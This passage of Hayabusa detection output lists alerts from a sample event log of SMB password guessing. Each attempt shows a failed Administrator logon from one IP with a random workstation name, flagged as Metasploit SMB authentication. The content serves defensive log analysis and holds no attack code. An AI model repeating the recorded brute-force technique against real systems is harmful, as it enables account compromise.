Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:43.560 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: MhGByctTcM7NXGtB : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:43.560 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:43.604 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: BgzhW3Pd5JAB8j4f : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:43.604 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:43.643 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: GZOm1J5kdItrQpGL : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:43.643 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:43.680 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: DK77Hylw8CJHVGvb : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:43.680 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:43.720 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: pf7DQVQY7AowT8NY : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:43.720 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:43.762 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 4us3HR9jseQWIHt8 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:43.762 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:43.805 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: vhJRmgooz8CXjB6E : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:43.805 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:43.848 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: LkjIXxAvEDrPFUpZ : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:43.848 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:43.889 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: ENc8aqouBangyUrU : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:43.889 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:43.932 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 7flMdluc8YRhOuzn : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:43.932 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:43.971 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 8WFqeMJIXGDjDP0a : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:43.971 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:44.015 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: iKeRDzfuDCJSv4Wh : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:44.015 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:44.058 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: gNEYkgBoG8rAE6SP : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:44.058 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:44.090 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: vyy1aBvh6lJBs5M5 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:44.090 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:44.146 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: oyhiWNroUS5X5AEh : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:44.146 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:44.184 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: xg9rUUIwEfujwCvq : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:44.184 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:44.232 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: zfvpeyTKc3YYkVkw : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:44.232 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:44.302 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: VJGR6CYKLUJp2fWl : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:44.302 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:44.361 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: cmSap0AJZq0KMRBV : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:44.361 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:44.429 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: XnVCbq1IYZF19oYR : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:44.429 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:44.485 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: aVaDMa2uNXTZNcBj : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:44.485 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:44.538 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: ymf6Fhv5ieWwcq73 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:44.538 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:44.584 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: CT6YMlX1GqeEuAHl : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:44.584 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:44.625 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: FDJ1IFpMNQ2Euhyn : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:44.625 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:44.672 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: EGTzqnHJIiZdSgNk : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:44.672 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:44.732 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: epSckAKbAp8qag89 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:44.732 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:44.788 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: NNC8ilAuznKPwFvV : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:44.788 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:44.834 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: wObt647cIBPiVaZi : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:44.834 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:44.873 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: nYDe1L7NNxDGQ0Vt : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:44.873 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:44.927 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: mXroClxv7B0aCTYv : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:44.927 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:44.973 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: kCVah2QOH1hMSV76 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:44.973 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:45.020 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 2HjD65Xy4Hppim2l : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:45.020 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:45.065 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: xwmEQxC4iTcF4aFu : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:45.065 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:45.114 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: q3QxOH7ok8RR068t : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:45.114 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:45.164 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: dJFj6Ckw1HdK9w52 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:45.164 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:45.209 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: Qqu3Im4HXQNyGnYm : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:45.209 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:45.248 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: bk5dmjQDnpSlREum : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:45.248 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:45.279 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: Pk4BvYgXBR2whf80 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:45.279 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:45.327 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: i6n1su2TUr7ONQr4 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:45.327 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:45.368 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: givsEAGfG0smN9Re : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:45.368 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:45.418 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: i2YuM0i7a2QuY7xb : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:45.418 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:45.470 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: xuocQPZpd91adY0E : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:45.470 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:45.541 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: PvGB1dZrfDWyZoqs : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:45.541 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:45.588 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: w4oi8iL88rJo7g2Q : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:45.588 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:45.676 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: cF3OUnytXi4NjvqB : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:45.676 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:45.725 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: WKkJcp3TYj31iJUM : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:45.725 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:45.760 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: G0E44RVqAE1feU0b : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:45.760 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB 